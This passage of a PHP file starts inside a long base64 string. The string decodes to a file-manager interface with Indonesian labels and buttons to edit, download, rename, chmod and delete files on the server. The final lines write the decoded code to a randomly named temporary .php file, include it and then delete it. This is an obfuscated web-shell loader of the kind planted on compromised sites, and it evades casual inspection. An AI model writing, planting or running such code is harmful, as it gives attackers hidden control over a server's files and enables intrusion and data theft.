4NCiAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjc3JmIiB2YWx1ZT0iPD9waHAgZWNobyBoKCRjc3JmKTsgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9sZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaCgkbmFtZSk7ID8+Ij4NCiAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmV3IiBjbGFzcz0iZmllbGQgdy00OCIgcGxhY2Vob2xkZXI9Ik5hbWEgYmFydSI+DQogICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1zbSBidG53IiB0eXBlPSJzdWJtaXQiPk9LPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1zbSBidG53IiB0eXBlPSJidXR0b24iIG9uY2xpY2s9InRoaXMuY2xvc2VzdCgnI3JuLTw/cGhwIGVjaG8gaCgkbmFtZSk7ID8+JykuY2xhc3NMaXN0LmFkZCgnaGlkZGVuJykiPkJhdGFsPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgICA8IS0tIENobW9kIHBhbmVsIC0tPg0KICAgICAgICAgICAgICAgICAgPGRpdiBpZD0iY20tPD9waHAgZWNobyBoKCRuYW1lKTsgPz4iIGNsYXNzPSJoaWRkZW4gbXQtMiI+DQogICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI/YT1jaG1vZCZwPTw/cGhwIGVjaG8gcmF3dXJsZW5jb2RlKCRjdXJyZW50KTsgPz4iIGNsYXNzPSJmbGV4IGZsZXgtd3JhcCBnYXAtMiBpdGVtcy1jZW50ZXIiPg0KICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNzcmYiIHZhbHVlPSI8P3BocCBlY2hvIGgoJGNzcmYpOyA/PiI+DQogICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idGFyZ2V0IiB2YWx1ZT0iPD9waHAgZWNobyBoKCRuYW1lKTsgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtb2RlIiBjbGFzcz0iZmllbGQgdy0yOCBtb25vIiBwbGFjZWhvbGRlcj0iMDc1NSI+DQogICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPSJ0ZXh0LXhzIGZsZXggaXRlbXMtY2VudGVyIGdhcC0xIj48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InJlY3Vyc2l2ZSI+IHJlY3Vyc2l2ZTwvbGFiZWw+DQogICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1zbSBidG53IiB0eXBlPSJzdWJtaXQiPk9LPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1zbSBidG53IiB0eXBlPSJidXR0b24iIG9uY2xpY2s9InRoaXMuY2xvc2VzdCgnI2NtLTw/cGhwIGVjaG8gaCgkbmFtZSk7ID8+JykuY2xhc3NMaXN0LmFkZCgnaGlkZGVuJykiPkJhdGFsPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgIDw/cGhwIGVuZGZvcmVhY2g7ID8+DQoNCiAgICAgICAgICAgICAgPCEtLSBGaWxlcyAtLT4NCiAgICAgICAgICAgICAgPD9waHAgZm9yZWFjaCAoJGZpbGVzIGFzICRuYW1lKToNCiAgICAgICAgICAgICAgICAkZnVsbD0kY3VycmVudC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRuYW1lOw0KICAgICAgICAgICAgICAgICRleHQ9c3RydG9sb3dlcihwYXRoaW5mbygkbmFtZSwgUEFUSElORk9fRVhURU5TSU9OKSk7DQogICAgICAgICAgICAgICAgJGlzWmlwID0gaW5fYXJyYXkoJGV4dCxhcnJheSgnemlwJykpOw0KICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICA8dHIgY2xhc3M9ImJvcmRlci1iIj4NCiAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InB5LTIgcHgtMiI+PGlucHV0IGNsYXNzPSJyb3djaGsiIHR5cGU9ImNoZWNrYm94IiBuYW1lPSJpdGVtc1tdIiB2YWx1ZT0iPD9waHAgZWNobyBoKCRuYW1lKTsgPz4iPjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJweS0yIHB4LTIiPg0KICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibmFtZS1jZWxsIj4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBpY29uU3ZnRm9yKCRmdWxsKTsgPz4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4+PD9waHAgZWNobyBoKCRuYW1lKTsgPz48L3NwYW4+DQogICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0icHktMiBweC0yIG1vbm8iPjw/cGhwIGVjaG8gaChodW1hblNpemUoKGludClAZmlsZXNpemUoJGZ1bGwpKSk7ID8+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InB5LTIgcHgtMiBtb25vIj48P3BocCBlY2hvIGgocGVybXNUb1N0cmluZygkZnVsbCkpOyA/PjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJweS0yIHB4LTIiPjw/cGhwIGVjaG8gaChkYXRlKCdZLW0tZCBIOmk6cycsIEBmaWxlbXRpbWUoJGZ1bGwpID86IHRpbWUoKSkpOyA/PjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJweS0yIHB4LTIiPg0KICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93LWFjdGlvbnMiPg0KICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0iYnRuIGJ0bi14cyBidG53IiBocmVmPSI/YT1lZGl0JmY9PD9waHAgZWNobyByYXd1cmxlbmNvZGUoJG5hbWUpOyA/PiZwPTw/cGhwIGVjaG8gcmF3dXJsZW5jb2RlKCRjdXJyZW50KTsgPz4iPkVkaXQ8L2E+DQogICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJidG4gYnRuLXhzIGJ0bnciIGhyZWY9Ij9hPWRvd25sb2FkJmY9PD9waHAgZWNobyByYXd1cmxlbmNvZGUoJG5hbWUpOyA/PiZwPTw/cGhwIGVjaG8gcmF3dXJsZW5jb2RlKCRjdXJyZW50KTsgPz4iPkRvd25sb2FkPC9hPg0KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4teHMgYnRudyIgb25jbGljaz0idG9nZ2xlUm93KCdybi08P3BocCBlY2hvIGgoJG5hbWUpOyA/PicpIj5SZW5hbWU8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4gYnRuLXhzIGJ0bnciIG9uY2xpY2s9InRvZ2dsZVJvdygnY20tPD9waHAgZWNobyBoKCRuYW1lKTsgPz4nKSI+Q2htb2Q8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ij9hPWRlbGV0ZSZwPTw/cGhwIGVjaG8gcmF3dXJsZW5jb2RlKCRjdXJyZW50KTsgPz4iIGNsYXNzPSJpbmxpbmUiIG9uc3VibWl0PSJyZXR1cm4gY29uZmlybSgnSGFwdXMgZmlsZSBpbmk/JykiPg0KICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNzcmYiIHZhbHVlPSI8P3BocCBlY2hvIGgoJGNzcmYpOyA/PiI+DQogICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idGFyZ2V0IiB2YWx1ZT0iPD9waHAgZWNobyBoKCRuYW1lKTsgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4teHMgYnRudyIgdHlwZT0ic3VibWl0Ij5EZWxldGU8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgIDwhLS0gUmVuYW1lIC0tPg0KICAgICAgICAgICAgICAgICAgPGRpdiBpZD0icm4tPD9waHAgZWNobyBoKCRuYW1lKTsgPz4iIGNsYXNzPSJoaWRkZW4gbXQtMiI+DQogICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI/YT1yZW5hbWUmcD08P3BocCBlY2hvIHJhd3VybGVuY29kZSgkY3VycmVudCk7ID8+IiBjbGFzcz0iZmxleCBmbGV4LXdyYXAgZ2FwLTIgbXQtMSI+DQogICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iY3NyZiIgdmFsdWU9Ijw/cGhwIGVjaG8gaCgkY3NyZik7ID8+Ij4NCiAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvbGQiIHZhbHVlPSI8P3BocCBlY2hvIGgoJG5hbWUpOyA/PiI+DQogICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5ldyIgY2xhc3M9ImZpZWxkIHctNDgiIHBsYWNlaG9sZGVyPSJOYW1hIGJhcnUiPg0KICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4tc20gYnRudyIgdHlwZT0ic3VibWl0Ij5PSzwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4tc20gYnRudyIgdHlwZT0iYnV0dG9uIiBvbmNsaWNrPSJ0aGlzLmNsb3Nlc3QoJyNybi08P3BocCBlY2hvIGgoJG5hbWUpOyA/PicpLmNsYXNzTGlzdC5hZGQoJ2hpZGRlbicpIj5CYXRhbDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgICAgICAgPCEtLSBDaG1vZCAtLT4NCiAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9ImNtLTw/cGhwIGVjaG8gaCgkbmFtZSk7ID8+IiBjbGFzcz0iaGlkZGVuIG10LTIiPg0KICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iP2E9Y2htb2QmcD08P3BocCBlY2hvIHJhd3VybGVuY29kZSgkY3VycmVudCk7ID8+IiBjbGFzcz0iZmxleCBmbGV4LXdyYXAgZ2FwLTIgaXRlbXMtY2VudGVyIG10LTEiPg0KICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNzcmYiIHZhbHVlPSI8P3BocCBlY2hvIGgoJGNzcmYpOyA/PiI+DQogICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idGFyZ2V0IiB2YWx1ZT0iPD9waHAgZWNobyBoKCRuYW1lKTsgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtb2RlIiBjbGFzcz0iZmllbGQgdy0yNCBtb25vIiBwbGFjZWhvbGRlcj0iMDY0NCI+DQogICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPSJ0ZXh0LXhzIGZsZXggaXRlbXMtY2VudGVyIGdhcC0xIj48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InJlY3Vyc2l2ZSI+IHJlY3Vyc2l2ZTwvbGFiZWw+DQogICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1zbSBidG53IiB0eXBlPSJzdWJtaXQiPk9LPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1zbSBidG53IiB0eXBlPSJidXR0b24iIG9uY2xpY2s9InRoaXMuY2xvc2VzdCgnI2NtLTw/cGhwIGVjaG8gaCgkbmFtZSk7ID8+JykuY2xhc3NMaXN0LmFkZCgnaGlkZGVuJykiPkJhdGFsPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgPD9waHAgZW5kZm9yZWFjaDsgPz4NCg0KICAgICAgICAgICAgICA8P3BocCBpZiAoZW1wdHkoJGRpcnMpICYmIGVtcHR5KCRmaWxlcykpOiA/Pg0KICAgICAgICAgICAgICAgIDx0cj48dGQgY29sc3Bhbj0iNiIgY2xhc3M9InB5LTYgdGV4dC1jZW50ZXIgdGV4dC1ncmF5LTYwMCI+S29zb25nPC90ZD48L3RyPg0KICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCg0KICAgICAgICAgICAgPC90Ym9keT4NCiAgICAgICAgICA8L3RhYmxlPg0KICAgICAgICA8L2Rpdj4NCiAgICAgIDwvZm9ybT4NCiAgICA8L3NlY3Rpb24+DQogIDwvbWFpbj4NCg0KICA8c2NyaXB0Pg0KICAgIGZ1bmN0aW9uIHRvZ2dsZUFsbChtYXN0ZXIpeyB2YXIgcm93cz1kb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcucm93Y2hrJyk7IGZvcih2YXIgaT0wO2k8cm93cy5sZW5ndGg7aSsrKXsgcm93c1tpXS5jaGVja2VkPW1hc3Rlci5jaGVja2VkOyB9IH0NCiAgICBmdW5jdGlvbiBzZWxlY3RBbGwoZmxhZyl7IHZhciByb3dzPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJy5yb3djaGsnKTsgZm9yKHZhciBpPTA7aTxyb3dzLmxlbmd0aDtpKyspeyByb3dzW2ldLmNoZWNrZWQ9ISFmbGFnOyB9IHZhciBtPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjaGtBbGwnKTsgaWYobSkgbS5jaGVja2VkPSEhZmxhZzsgfQ0KICAgIGZ1bmN0aW9uIHRvZ2dsZVJvdyhpZCl7IHZhciBlbD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCk7IGlmKGVsKXsgaWYoZWwuY2xhc3NMaXN0LmNvbnRhaW5zKCdoaWRkZW4nKSkgZWwuY2xhc3NMaXN0LnJlbW92ZSgnaGlkZGVuJyk7IGVsc2UgZWwuY2xhc3NMaXN0LmFkZCgnaGlkZGVuJyk7IH0gfQ0KICA8L3NjcmlwdD4NCjwvYm9keT4NCjwvaHRtbD4NCg==');
$tmp = sys_get_temp_dir() . '/tmp_' . md5(time()) . '.php';
file_put_contents($tmp, $code);
include $tmp;
unlink($tmp);
?>